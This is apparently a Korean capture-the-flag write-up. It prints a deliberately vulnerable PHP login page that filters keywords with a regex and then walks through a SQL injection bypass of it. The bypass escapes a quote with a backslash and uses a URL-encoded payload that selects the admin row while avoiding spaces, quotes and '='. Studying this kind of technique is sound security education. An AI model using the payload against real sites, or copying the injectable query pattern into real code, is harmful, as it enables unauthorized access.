<?php
extract($_GET);
$flag = "???????";
include './db.php';
if(isset($_GET['id']) && isset($_GET['pw'])) {
if(preg_match("/admin| |\t|\'|unoin|select|_|=|like|[*]|\(\)|or|\/|and/i", $_GET['id'])) die("No Hack ~_~");
else if(preg_match("/admin| |\t|\'|unoin|select|_|=|like|[*]|\(\)|or|\/|and/i", $_GET['pw'])) die("No Hack ~_~");
$id = $_GET['id'];
$pw = $_GET['pw'];
$query = "select * from login where id=ord(trim('{$id}')) and ord(trim('{$pw}'))";
echo "<hr><b>".$query."</b><hr><br><br>";
$result = $mysqli->query($query);
$result = @mysqli_fetch_array($result);
if ($result['id'] === 'admin') {
die($flag);
} else if(isset($result['id'])) {
echo "<h1>Hello {$result['id']}</h1>";
}
}
highlight_file(__FILE__);
?>
많은 것들이 막혀있다.
따라서 어떤 것들을 필터안하는지 확인하였다. ; || \ 등등 확인할 수 있었다.
trim은 공백을 없애주는 함수이고 ord는 문자열을 ascii 값으로 뱉어주는 함수이다.
먼저 sql 구문은 다음과 같다.
select * from login where id=ord(trim('{$id}')) and ord(trim('{$pw}'))
\는 \다음에 오는 문자를 문자열로 만들어준다.
즉 $id부분에 \를 넣어줄 경우
select * from login where id=ord(trim('\')) and ord(trim('{$pw}'))와 같이 만들어지므로 $pw 앞까지가 id앞의 쿼터와 묶이게 된다.
따라서 앞의 id=ore(trim(이 있기 때문에 pw에서 이 함수들을 닫아주기 위해서 ))를 해주어야한다.
이제 내가 원하는 대로 id='admin'을 만들어주면 성공이다 하지만 공백과 싱글 쿼터와 =가 막혀 있기 떄문에 우회해주어야 한다.
즉
id=\&pw=))%7c%7cid%0ain(char(97,100,109,105,110));%23 와 같은 구문을 넘겨주면 된다.
mysql에서 받는 쿼리
select * from login where id=ord(trim('\')) and ord(trim('))||id
in(char(97,100,109,105,110));#'))